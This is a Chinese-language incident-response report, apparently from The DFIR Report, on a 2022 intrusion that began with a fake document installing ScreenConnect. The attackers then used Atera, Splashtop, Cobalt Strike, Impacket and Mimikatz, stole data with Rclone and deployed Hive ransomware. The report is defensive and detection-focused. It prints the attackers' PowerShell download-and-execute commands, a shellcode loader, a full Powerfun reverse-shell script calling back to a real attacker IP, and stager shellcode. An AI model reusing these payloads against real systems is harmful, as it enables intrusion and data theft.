2022 年,DFIR 报告发现,远程管理和监控 (RMM) 工具的对抗性使用有所增加。与严重依赖终端的后开发通道(例如 Cobalt Strike 或 Metasploit)相比,RMM 提供的图形用户界面更加用户友好。随着SaaS(软件即服务)模式的流行,许多RMM进一步作为基于云的服务提供。通过让命令和控制渠道依赖于合法的云服务,对手使归因和破坏变得更加复杂。使用 RMM 还可能阻碍检测(即受信任的域和签名的可执行文件)。
全行业都观察到到 2022 年 RMM 使用量将有所增加,甚至值得 CISA 发布“防止恶意使用远程监控和管理软件”咨询。
这次多 RMM 入侵发生于 2022 年第四季度,是对之前观察结果的补充,并最终导致了现已中断的Hive 勒索软件的部署。
案例概要
在 2022 年 10 月的这次入侵中,我们观察到威胁行为者依赖 RMM 工具作为初始访问,并以有点拙劣的 Hive 勒索软件部署结束。初始有效负载是伪装成合法文档的可执行文件。根据 Huntress 的说法,该活动很可能是通过电子邮件发送的,其中包含一个链接,点击后就会下载可执行文件。
该文件的执行导致安装ScreenConnect。在调查过程中,我们发现这种初始访问方法要求最终用户是本地管理员,因为权限较低的用户会导致安装失败。执行后大约一个小时,威胁参与者使用systeminfo、ipconfig和net等标准 Windows 实用程序通过 ScreenConnect 启动发现命令。几分钟后,威胁行为者继续运行 BITS 传输作业来部署 Cobalt Strike 信标。
暂停活动一小时后,威胁行为者使用 ScreenConnect 下载额外的二进制文件。这个新文件是一个木马化的 ApacheBench 可执行文件,带有 Metasploit shellcode 后门。执行时,shellcode 将启动 Meterpreter 命令和控制通道。启动这个新的命令和控制通道后,威胁参与者使用远程服务进行横向移动,在服务器上执行 Atera 和 Splashtop 的 PowerShell 和 MSI 安装程序。观察到额外的 BITS 转移以建立进一步的 Cobalt Strike 立足点。
在此活动后大约 20 分钟,威胁行为者使用 Impacket 的wmiexec.py脚本继续向其他主机横向移动。这种横向移动包括使用quser检查远程主机,并启动 BITS 传输以执行 Cobalt Strike。
第二天,威胁参与者在多台服务器上投放了 Mimikatz 二进制文件,并使用 wmiexec 远程执行它们。活动又停止了几个小时,直到威胁参与者返回并在环境中的多个主机上运行新的 Cobalt Strike 信标。从这些信标中发出了一些发现命令,之后威胁行为者再次休眠。
第二天,威胁参与者执行了一个批处理文件,用于使用内置 PowerShell 实用程序提取 Active Directory 数据。然后活动停止,直到当天晚些时候,威胁行为者返回并开始通过 RDP 访问主机。通过这些 RDP 会话,威胁行为者检查了网络内的文件共享和备份。然后,威胁参与者将 Rclone 放到具有文件共享的服务器上,并继续通过SFTP配置与远程服务器的连接。连接后,威胁参与者就会通过 SFTP 连接窃取文件共享的内容。当渗透运行时,威胁行为者在服务器上放置了netscan,并对网络进行扫描,特别关注 RDP 服务。
渗透开始大约三个小时后,威胁行为者通过部署 Hive 勒索软件开始了最后的行动。首先,他们更改了管理员密码,然后在几台关键服务器上手动执行勒索软件。在这些手动勒索软件执行之后,威胁行为者开始尝试全域加密。为此,威胁行为者将勒索软件二进制文件暂存在网络共享上,然后创建一个新的域范围 GPO,其中包含计划任务,旨在在每个加入域的主机上运行勒索软件二进制文件。
GPO 和计划任务创建包含不正确的设置,导致域范围内的勒索软件部署失败。然而,通过手动部署和执行勒索软件,密钥服务器已成功加密。从初次访问开始,勒索软件出现的时间 (TTR) 为 61 小时。
初始访问
入侵始于执行名为document8765.exe的可执行文件。根据Huntress 的说法,这个初始访问文件是在浏览https[:]//environmentca[.]com/bkh6q后交付给最终用户的。在 Huntress 的数据中,该网站是从 Outlook 进程加载的,表明可能是电子邮件传递。
执行
ScreenConnect
有许多技术可以检测用户下载的可执行文件的执行情况。虽然一些有效的技术依赖于 MOTW(Web 标记)的存在,但简单地检查从用户的%USERPROFILE%Downloads文件夹中启动的程序是一种常见且有效的技术。此类下载的执行可以通过默认安全事件4688(已创建新进程)以及 Sysmon 的事件1(进程创建)来观察。
执行后,恶意植入程序会在用户的%TEMP%目录中暂存 Windows Installer 文件 ( *.msi ),并通过msiexec.exe继续执行安装程序,如以下 Sysmon 事件1中所示。一旦执行此安装程序,恶意document8765.exe进程就会终止。
缺少/q显示选项会导致安装程序对用户可见。这可以在沙箱执行中观察到,例如Recorded Future 的 Triage Sandbox 中的“重播监视器”。
执行后,恶意安装程序会部署ScreenConnect RMM 软件的合法实例。作为此安装过程的一部分,发生了额外的msiexec.exe和rundll32.exe调用,由于它们是合法 ScreenConnect 安装程序的一部分,因此省略了其详细信息。最值得注意的是,ScreenConnect 安装在%ProgramFiles(x86)%ScreenConnect Client (0e2f8d025e383f56)子目录中,其中0e2f8d025e383f56是安装指纹。
ScreenConnect 持久性以及相关的命令和控制机制将在后面的部分中讨论。
一旦建立 ScreenConnect 通道,威胁参与者就能够通过 RMM 实用程序的内置功能执行其他命令。对于 ScreenConnect,通过将所需脚本拖放到光盘上来执行命令,然后通过适当的解释器(命令提示符或 PowerShell)执行它。该机制通过Sysmon的事件11(文件创建)提供了大量的检测机会;以及执行后显示的安全事件4688或 Sysmon 事件1 。
作为这些执行命令的一部分,执行了多个发现操作;这些在发现部分中有进一步记录。此外,威胁参与者还尝试执行其他 PowerShell 脚本。
Cobalt Strike
在入侵发生 1 小时 22 分钟后,通过 ScreenConnect 发出的命令之一是通过 PowerShell stager 部署 Cobalt Strike。
powershell.exe -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://31.41.244.192:80/96945jgjf' -Destination $d; $t = [IO.File]::ReadAllText($d); Remove-Item $d; IEX $t } -Argument 0 | wait-job | Receive-Job"
通过依赖纯 HTTP,可以从网络通信中提取检索到的 PowerShell 有效负载。
与上面的 Cobalt Strike stager 类似,使用以下命令进行了第二次尝试。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://31.41.244.192:80/645gkdkfgd'))"
攻击者再次依赖纯 HTTP,暴露了 PowerShell 有效负载。
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc {
Param (
$var_module_name, $var_procedure_name
)
$var_system_dll = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.Location -And $_.Location.Split('\')[-1].Equals('System.dll') -And $_.GlobalAssemblyCache }
$var_microsoft_win32_unsafe_native_methods = $var_system_dll.GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_get_module_handle = $var_microsoft_win32_unsafe_native_methods.GetMethod('GetModuleHandle')
$var_get_proc_address = $var_microsoft_win32_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'System.String'))
$var_module_handle = $var_get_module_handle.Invoke($null, @($var_module_name))
return $var_get_proc_address.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), $var_module_handle)), $var_procedure_name))
}
function func_get_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameter_types,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_invoke_method = 'Invoke'
$var_type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflectss, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameter_types).SetImplementationFlags('Runtime, Managed')
$var_type.DefineMethod($var_invoke_method, 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameter_types).SetImplementationFlags('Runtime, Managed')
return $var_type.CreateType()
}
$var_base64 = 'i0QkBIuInAAAA[...]AAAAAAA='
$var_result = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll LoadLibraryA), (func_get_type @([String]) ([IntPtr]))).Invoke('crypt32.dll')
$var_string_to_binary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc crypt32.dll CryptStringToBinaryA), (func_get_type @([String], [UInt32], [UInt32], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [IntPtr]) ([Bool])))
$var_length = 0
$var_result = $var_string_to_binary.Invoke($var_base64, $var_base64.Length, 0x1, [IntPtr]::Zero, [Ref]$var_length, [IntPtr]::Zero, [IntPtr]::Zero)
$var_create_mapping = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll CreateFileMappingA), (func_get_type @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32], [IntPtr]) ([IntPtr])))
$var_handle = $var_create_mapping.Invoke(-1, [IntPtr]::Zero, 0x08000040, 0x0, $var_length, [IntPtr]::Zero)
$var_map_view = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc kernel32.dll MapViewOfFile), (func_get_type @([IntPtr], [UInt32], [UInt32], [UInt32], [IntPtr]) ([IntPtr])))
$var_map = $var_map_view.Invoke($var_handle, 0x000F003F, 0, 0, $var_length)
$var_result = $var_string_to_binary.Invoke($var_base64, $var_base64.Length, 0x1, $var_map, [Ref]$var_length, [IntPtr]::Zero, [IntPtr]::Zero)
$var_invoke = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_map, (func_get_type @([IntPtr]) ([Void])))
$var_invoke.Invoke($var_map)
'@
Switch ([intptr]::Size) {
4 {
IEX $DoIt
}
8 {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
}
当Cobalt Strike beacons加载到内存中时,我们可以使用钴罢工配置提取器等工具提取相关配置。
{
"beacontype": [
"HTTP"
],
"sleeptime": 60000,
"jitter": 0,
"maxgetsize": 1048576,
"spawnto": "AAAAAAAAAAAAAAAAAAAAAA==",
"license_id": 1580103824,
"cfg_caution": false,
"kill_date": null,
"server": {
"hostname": "31.41.244.192",
"port": 80,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnCZHWnYFqYB/6gJdkc4MPDTtBJ20nkEAd3tsY4tPKs8MV4yIjJb5CtlrbKHjzP1oD/1AQsj6EKlEMFIKtakLx5+VybrMYE+dDdkDteHmVX0AeFyw001FyQVlt1B+OSNPRscKI5sh1L/ZdwnrMy6S6nNbQ5N5hls6k2kgNO5nQ7QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
},
"host_header": "",
"useragent_header": null,
"http-get": {
"uri": "/fwlink",
"verb": "GET",
"client": {
"headers": null,
"metadata": null
},
"server": {
"output": [
"print"
]
}
},
"http-post": {
"uri": "/submit.php",
"verb": "POST",
"client": {
"headers": null,
"id": null,
"output": null
}
},
"tcp_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"crypto_scheme": 0,
"proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
},
"http_post_chunk": 0,
"uses_cookies": true,
"post-ex": {
"spawnto_x86": "%windir%\syswow64\rundll32.exe",
"spawnto_x64": "%windir%\sysnative\rundll32.exe"
},
"process-inject": {
"allocator": null,
"execute": [
"CreateThread",
"SetThreadContext",
"CreateRemoteThread",
"RtlCreateUserThread"
],
"min_alloc": 0,
"startrwx": true,
"stub": "IiuPJ9vfuo3dVZ7son6mSA==",
"transform-x86": null,
"transform-x64": null,
"userwx": true
},
"dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
},
"pipename": null,
"smb_frame_header": "AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
"stage": {
"cleanup": false
},
"ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
}
}
Powerfun
大约 40 分钟后,即入侵发生两小时零七分钟后,威胁参与者利用另一个基于System.Net.WebClient的DownloadFile功能的 stager 来删除%temp%P6nqEdwk.exe。该木马可执行文件是从http://94.232.43[.]201:8080/dQhNZOV3Qm下载并随后执行的。
powershell.exe -nop -w hidden -c [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$z="echo ($env:temp+'P6nqEdwk.exe')"; (new-object System.Net.WebClient).DownloadFile('http://94.232.43.201:8080/dQhNZOV3Qm', $z); invoke-item $z
Sysmon 的进程创建事件1(或者安全事件4688)捕获了父子关系,如下所示。
经检查,该木马可执行文件似乎基于 ApacheBench 2.3(一个合法的 HTTP 基准测试实用程序)。
不过,ApacheBench 可执行文件已被修改为嵌入额外的 PowerShell 负载。
执行 ApacheBench 可执行文件后,PowerShell 有效负载就会被执行。
解码后,有效负载是一个配置好的Powerfun 反向 shell,被认为是 Metasploit 的一部分(由于它使用默认端口4444)。这种特定格式的 PowerShell 反向 shell 是在 v4.11.7 版本(2015 年 5 月 19 日)中引入的,这表明威胁行为者部分依赖于过时的工具。该脚本后来在 v6.3.23(2021 年 11 月 30 日)中进行了修改。
# Powerfun - Written by Ben Turner & Dave Hardy
function Get-Webclient
{
$wc = New-Object -TypeName Net.WebClient
$wc.UseDefaultCredentials = $true
$wc.Proxy.Credentials = $wc.Credentials
$wc
}
function powerfun
{
Param(
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @()
if ($Command -eq "bind")
{
$listener = [System.Net.Sockets.TcpListener]4444
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse")
{
$client = New-Object System.Net.Sockets.TCPClient("94.232.43.201",4444)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true")
{
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient("94.232.43.201")
$stream = $sslStream
}
[byte[]]$bytes = 0..20000|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
if ($Download -eq "true")
{
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
ForEach ($module in $modules)
{
(Get-Webclient).DownloadString($module)|Invoke-Expression
}
}
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
}
}
powerfun -Command reverse -Sslcon true
一旦通过 TCP 连接到94.232.43[.]201:4444,威胁参与者就会利用反向 shell 来执行两个编码略有不同的 PowerShell stager。根据进程创建之间的时间戳以及可信的WerFault.exe进程树的存在,我们有中等信心地认为,第一个进程在八分钟后多次崩溃,迫使威胁参与者重新启动 stager。
虽然这两个命令的混淆方式有所不同,但它们最终执行相同的以下 shellcode。
/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02ALDEuLWBwB04s EiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmhe6CvJaAIAEVGJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAz/Tgh17GjwtaJ W/9VqAGoEVldoAtnIX//VizZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//VAcMpxnXuww==
此 shellcode 充当暂存器,从使用94.232.43[.]201:4433建立的 websocket 下载有效负载。NVISO已记录了类似 shellcode 及其 API 哈希算法(包括彩虹表)的分析。
有多种工具可用于帮助分析 shellcode,其中之一是scdbg。该工具能够分析代码并提供有关其功能的有用信息。通过使用scdbg分析shellcode,我们可以获得所需的远程服务器的主机和端口。
与普通 HTTP 的情况一样,普通 Websocket 允许拦截网络通信。在此意义上,websocket stager 会检索有效负载的大小(小端字节序中的0x02b043),然后是有效负载本身。
提取后,有效负载与 Florian Roth 检测反射加载器以及内存 Meterpreter的两条 YARA 规则相匹配。
Atera
虽然在滩头阵地利用了 ScreenConnect RMM 软件,但由于横向移动而受到损害的其他系统安装了Atera RMM 实用程序。
Atera 的安装是使用C:WindowsSystem32msiexec.exe /i “C:programdatasetup.msi”命令从信标启动的。对 Atera 安装程序的分析揭示了使用的是哪个攻击者帐户,即edukatingstrong@polkschools.edu.org(帐户 ID 0013z00002rytAiAAI)。
通过该实用程序的实时命令提示符功能,威胁行为者获得了大量实时命令提示符。可以通过%ProgramFiles%ATERA NetworksAteraAgentPackagesAgentPackageRunCommandInteractiveAgentPackageRunCommandInteractive.exe启动的进程观察实时命令提示符的创建。在整个入侵过程中,所有交互式命令都使用cmd.exe解释器。使用安全日志的进程事件(事件4688),我们可以观察威胁参与者如何交互式地执行其他执行以及渗透。
Splashtop
虽然 Atera 提供脚本编写等管理功能,但无人值守的远程访问需要第三方集成。在整个入侵过程中,攻击者依赖Atera 推荐的Splashtop 集成。
使用文件和进程创建日志(即 Sysmon 的事件11和1),我们可以观察 Atera 的AgentPackageSTRemote.exe如何启动 Splashtop 的部署,从而使参与者能够获得无人值守的远程交互访问。
查看 Windows 事件日志通道Splashtop-Splashtop Streamer-Status/Operational中 Splashtop 的日志记录揭示了威胁参与者正在使用的 RMM ID。
RMM_ID:hZCDFPhK75mJ
Impacket
作为其工具包的一部分,威胁参与者使用 Impacket 的 wmiexec.py 脚本来执行其操作。这可以很容易地看出,因为 wmiexec.py 默认情况下会将其输出重定向到\127.0.0.1ADMIN$__%timestamp%(如源代码中所示)。
持续
ScreenConnect
作为安装过程的一部分,ScreenConnect 通过自动启动服务持续存在。内置系统事件7045(系统中安装了服务)提供了此类安装的可见性。
如果系统事件不可用,Sysmon 注册表值设置事件(事件13)将提供足够的可见性。如下所示,我们可以通过这些值推断出服务的启动模式:
数据类型0x10 ( SERVICE_WIN32_OWN_PROCESS )
数据开始0x2 ( SERVICE_AUTO_START )
尽管ImagePath值的 Sysmon 数据已通过日志收集损坏,但可以通过针对获取的系统配置单元 ( C:WindowsSystem32configSYSTEM ) 和关联的事务日志运行Eric Zimmerman 的注册表资源管理器来恢复持久服务命令行( C:WindowsSystem32configSYSTEM.LOG1 )。
根据Anomali Threat Research的报告,下面恢复的命令行定义了以下选项。
e作为会话类型,可以是Support、Meeting、Access。
y作为进程类型,可以是Guest或Host。
h作为中继服务 URI 的 URI。
p作为中继服务的端口。
s作为客户端识别的全局唯一标识符。
k为编码后的加密密钥,用于身份验证。
t作为可选会话名称。
"C:Program Files (x86)ScreenConnect Client (0e2f8d025e383f56)ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-l7l8l9-relay.screenconnect.com&p=443&s=f1dccbe5-0865-4f1c-a463-9e25663d18d1&k=BgIAAACkAABSU0ExAAgAAAEAAQC9cxw5UA763FPcVEu4K7lTUZPe40uWy%2fdpeqfjnhw6qPCnMz1zFVt6J1HHp%2b9%2fhXseaHv7tHKfAevkRMosxtdVUlRlFjGO1E0lztj6BuXXY3hOn%2b9zOMiD85jSb5nrrk4O4IhgV9GNihZS3aAMUcTWlSUzCOGSECigjs5Sg8kxq5CHz1RuGp6Wbv7SO9LEriAGZj%2fYQU%2fq0X9%2bFDnKAKtBYkUdW3Muf9ewnItCRM9XErqohYafqh04mlqluyGqfx%2bAMezEuQDgFHQPIurisVhSinHWRCO4WDLKpaoeWneMJ3BMj6ReFvhaXVGW0u%2fPMkXzYLB2sMMBcibeuJV1yczL&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAQvvF3IURJU6YGnF7BiJwogAAAAACAAAAAAAQZgAAAAEAACAAAACqA7fRdCVSQQS%2bln7kPcL3Yr8FtoKz3%2fyztuVPXWhifgAAAAAOgAAAAAIAACAAAADfm%2b0yGLK3YmRYzydHC3OvJWlNwe8O2kNKxHqVXATSaaAEAADExpelIJ42A%2bmy3CqMzSNMfDDHLKfeVHAXqYi92UDuffufwuxI6hMNFfCGXwR%2fndw4CeU0AaoR4STjLsx7DhTUDnuspGicxlqoRTM%2bUmC1VN8mbfLBHx7SKMzJYWAwMM%2bfIbevg%2bXdhUrQRKuFsOU6VsOi6a7HFsFjMrF0HXzSlPJZILQ5C0tmPB%2bowunqV2JP3PDhxqI%2fgR5AoubdVIC8ZpsckrDk0tm5ARaDYpTxYxQMJ5acToCrRodGjvgRzddPywGYYvnTFxyS%2bZOwxz3TicTva8Tkx8PaXNNyckViUb%2bk3s102XEbFtqiD9NtnMPYhzmAAdqL4UR6ELqJrYX7Y%2f87XVJmzFtDdyYIufC1S3w6lVHDOlGS%2bvxtANiaRGWY%2bdZGpj75%2f8YlPAcctJioE4LefyqZKRhDjWG4OwVmCfKUcmnoLzEwZXFiXMkm4nPe4lBWL7xdsX5h4lcBjNevPvwN0K4%2bsE%2fC9jUONr3r9JiZc6V7RJOwfACO9AukfBzQOyfsb6KD%2b6tWKc%2fQ5rAPr4MtKqgA17CmSIJIRnLA5HDBMrybFaLAs5EfnFHAbS2UJpHMiXNIwEEksFM65hIN4OKrHnIjadBT8OzL2XCk9bRwSNUfkV7IkKbnJA%2bFm3iIlibtMnx3UkcNWYFiBObGjWY1eGzcOusEsAt4oZUVeMxiLUrpYZrGOFtqp1Mm4z5JEst4Bx3sYuQxxKrjs9pF9C9kgpj3Hhresa7b64pIu7SWku14fXjA1VxyYUg52vYoXzxWvn99hsF47CXOkGnQUhPWZkUFA75OCKh0Qp1yoZTyW7HI1MqV4A7Sw%2ftiyK13vPiKhRAojufru7axnGsthZ3eG62TxSD6q3uoBmy6G9lDdCQvi946unMf70FDmfRye2p8%2f2cBmqWe%2fpdzXIWqy%2bRwclHOOf4d5i%2fAZYzN%2fuvKayxkYwOMYo2bI8YwwYgWsRSQUmtsD1Q9%2bYG%2bpZtGvTkpdmsNzIzWNxg7LZUr3l2JqFdwlYgK3peySScsbRRxUuB6aIlxSoDvXo5KtDiKfxnkridOz4iz5T5yk7QJfSEEMnvmep0T4a75KvgZeMWd%2fUj4SKbG3v%2bDA2ZxVSFbktcAur8rkpDwqLwTUjYnvqJG%2bl%2blEgGHRsi5GxxlnM9k6IkCMACku40jzCYSvHOhFtimnMTmf2XOwavP32025803AMFp%2b5vrZ5rASeRNbos1EJi6LD8kdsJUkyShEKByaULaDhAFw3RglgiBxCCbGQPJHkd4ctpUeQmDPvu6IuMtw3mvNU%2fPKtzKcF6%2bqDjCkoF%2fWCHykMjSr37d%2fGrYEIB8ddw173TWYsG9Ei0%2boHEWjEvoAbtUcIxSN%2f4KZ0zUFdC79EOUQcnO1FiHZZHJJhUvLqD7ooZMp2S1%2f%2bpFFMmJC5hAZ3HBQHJjxLV6LWOYfkrDYsgf8D%2bWObpD9JPsgC5G%2fnmG8d9ArdlHBsOM2WobtioC4kdINw2JM6uqMvRAoCqkxrDmwQBkdbkIYLQOcAxhp7%2bj0KOnJ81ieO6Q4BmEUVcZpmmKKc8gV54eNKKr6EU%2fWgvqcmiCwv38i0h5J0AAAADebuB1klSTYkUNnr4J2kDkx0KsClquUNNxOifeVYIq4dqVz4jQZETw5fHbwxKP4Yxv4XZ2yxLM%2f%2b5iIuUFwyWT&t=&c=&c=&c=&c=&c=&c=&c=&c="
Atera
与 ScreenConnect 的持久化类似,Atera 被持久化为自动启动的自有进程服务。这也可以使用系统事件7045来观察。
权限提升
ScreenConnect,Atera
ScreenConnect 和 Atera 作为服务安装,受益于系统级权限。依靠服务来获取系统级权限是合法工具(例如PsExec 的-s)和恶意工具(例如Metasploit 的getsystem)中经常使用的技术部分。
可以通过 Sysmon 的事件1以及父进程为C:WindowsSystem32services.exe 的内置安全事件4688来识别服务执行。从下面的捕获中可以看出,这些服务执行作为本地系统(SID S-1-5-18 )运行。
防御规避
进程注入
正如在几乎所有入侵中观察到的那样,进程注入被用来伪装恶意行为的真正来源。根据所采用的技术,日志中可以使用多种工件组合,例如 Sysmon 的:
事件10(进程被访问),常见于注入现有进程。
事件8(已创建远程线程)。
事件1(进程创建),或者安全事件4688,用于识别不可能的进程,例如经常被滥用的默认rundll32.exe。
正如我们的“ Cobalt Strike,防御者指南”系列中广泛记录的那样,进程注入的证据可以通过后来创建的后利用 ( postex_* ) 命名管道(Sysmon 事件17和18)来支持。
在内存中,在入侵期间使用Malpedia的 win_cobalt_strike_auto 规则进行的 YARA 扫描显示了所执行的一些不同的注入。
删除痕迹
在整个入侵过程中,威胁行为者通过删除有用的工件来掩盖他们的痕迹。正如 Sysmon 事件23 (文件删除)所述,一些操作符合预期,由 stagers 和 RMM 实用程序自动执行。
然而,进程执行日志突出显示了威胁参与者通过本机操作(例如 del 命令)以及通过攻击者工具(例如使用rclone 配置来删除攻击者凭据)执行的一些手动删除。
凭证访问
LSASS倾销
在整个入侵过程中,威胁参与者多次访问 LSASS,这种模式通常用于凭证转储和注入。从下面的捕获中可以看出,威胁参与者的行为甚至导致 LSASS 在一台主机上崩溃。
为了帮助促进凭证转储,威胁参与者删除了文件m2.exe。这似乎是自定义编译的 mimikatz 二进制文件。我们可以使用mimikatz 存储库中发布的 YARA 规则确认该文件与 mimikatz 相关。
通过动态分析,我们可以确认m2.exe二进制文件本质上是设置为在执行时自动运行特权::debug(权限升级)和sekurlsa::logonpasswords(凭据访问)mimikatz 命令,而不是需要用户输入或命令行论据。
虽然 LSASS 转储符合附加凭据的意图和滥用,但仍不清楚最初的本地管理员帐户是如何获得的。
发现
ScreenConnect
作为初始发现的一部分,威胁行为者利用 ScreenConnect 的命令执行来获取系统、网络、用户和域管理员信息。此活动通常可以通过进程创建日志(Security 4688和 Sysmon 1)进行跟踪。
Cobalt Strike
启动 Cobalt Strike DLL 信标后,威胁行为者使用多个nltest命令来查找域信息。
cmd.exe /C nltest /dclist:
cmd.exe /C nltest /DOMAIN_TRUSTS
cmd.exe /C nltest /domain_trusts /all_trusts
quser
后来,在整个入侵过程中,威胁参与者利用Metasploit 上的Impacket 的WMIEXEC类来使用quser命令发现活动用户会话。
adcomp.bat
还观察到威胁参与者正在运行名为adcomp.bat的 bash 脚本,以便枚举域控制器上的名称、操作系统版本、IP 地址和其他信息。
该脚本的内容是以下 PowerShell 命令:
powershell Get-ADComputer -Filter * -Properties Name,Operatingsystem, OperatingSystemVersion, OperatingSystemServicePack,IPv4Address
Netping
我们观察到威胁行为者在入侵的第三天早些时候投放了一个名为netping.exe的二进制文件,他们按照 Sysmon 进程创建日志中的概述立即执行(并随后删除)该二进制文件。
虽然 Sysmon 的网络事件不记录 ICMP 流量,但在 255 个主机的 PING 扫描(ICMP 类型 8)的同时记录的网络捕获确认了 netping 可执行文件可能被用来识别 /24 范围内的设备。
网络扫描
SoftPerfect的 NetScan已多次被报道为网络发现的首选工具。这次,威胁行为者在入侵的第三天将其丢弃以执行 RDP(端口3389)扫描。
手动发现
在文件服务器上,我们发现威胁行为者在这些文件夹被泄露的同时浏览了多个文件夹,这证实了通过实际键盘活动进行的手动泄露。这可以通过使用 Eric Zimmerman 的ShellBags Explorer检查 ShellBags 注册表工件来看到。
Lateral Movement
远程桌面协议
正如 RDP 扫描后所预期的那样,攻击者被发现使用远程桌面协议从单个受感染的服务器进行Lateral Movement。虽然对于远程交互式登录,源工作站名称与目标计算机匹配,但使用相同受感染帐户和源服务器的网络登录的工作站名称为WIN-RRRU9REOK18。
在 RDP 连接之间,观察到重新连接,如登录类型7(解锁)的存在所示,表明文件共享和备份服务器上发生了其他 RDP 活动。
WMI执行
如前所述,威胁行为者利用Impacket 的WMIEXEC类来执行Lateral Movement。可以通过流程创建事件(例如 Sysmon 事件1)中可用的模式组合来检测此类活动,这些模式已由CrowdStrike 概述:
以cmd.exe /Q /c开头的命令行。
以输出重定向结尾的命令行为1 > \127.0.0.1{{share}}{{output}} 2>&1,其中输出包含当前时间戳。
由于使用了 WMI,wmiprvse.exe的父进程。
以下捕获是攻击者发起的 WMI 支持的执行的子集。
远程服务
在整个入侵过程中,威胁行为者依靠远程服务进行Lateral Movement。常用的策略之一是通过 SMB 部署恶意文件(在本例中为 DLL),然后通过远程服务执行。
作为通过 SMB 创建文件的一部分,安全日志的事件5145(检查网络共享对象以查看是否可以授予客户端所需的访问权限)会保留在执行 SMB 操作之前执行的访问检查的跟踪。如下所示,5145事件提供了有价值的网络共享见解,例如哪个用户尝试执行操作以及从何处执行操作。
同样,这些文件创建事件也可以通过网络日志(例如 Zeek 的smb_files事件)来观察。
通过 SMB 创建文件后,系统事件7045将注册服务安装。
